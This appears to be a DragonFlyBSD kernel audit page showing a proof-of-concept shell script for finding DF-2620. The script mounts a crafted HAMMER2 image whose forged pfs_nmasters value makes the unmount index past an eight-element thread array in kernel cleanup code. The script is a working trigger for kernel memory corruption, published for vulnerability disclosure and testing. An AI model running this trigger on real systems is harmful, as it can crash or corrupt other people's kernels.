DragonFlyBSD Kernel Audit
DF-2620 / trigger_A.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2620 variant A trigger (v2): forged pfs_nmasters=0xFF on PFS "testvol".
# mount then umount IMMEDIATELY -- no other operation may touch /mnt/h2
# (VFS_ROOT on the mount hangs in hammer2_vfs_root because the inflated
# pfs_nmasters breaks the quorum check; that hang is a related side effect
# of the same unclamped field, not the finding under test).
#
# umount -> hammer2_vfs_unmount -> hammer2_xop_helper_cleanup:
#   for (i = 0; i < pmp->pfs_nmasters(255); ++i)
#       for (j = 0; j < 36; ++j)
#           thrs = &xop_groups[j].thrs[i];   # array is thrs[8] per group!
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 /root/poc/df2620/A.img
mkdir -p /mnt/h2
mount -t hammer2 -o ro /dev/vn0@testvol /mnt/h2
echo MOUNT_RC=$?
echo "--- umount (trigger) ---"
umount /mnt/h2
echo UMOUNT_RC=$?
vnconfig -u vn0
echo TRIGGER_A2_DONE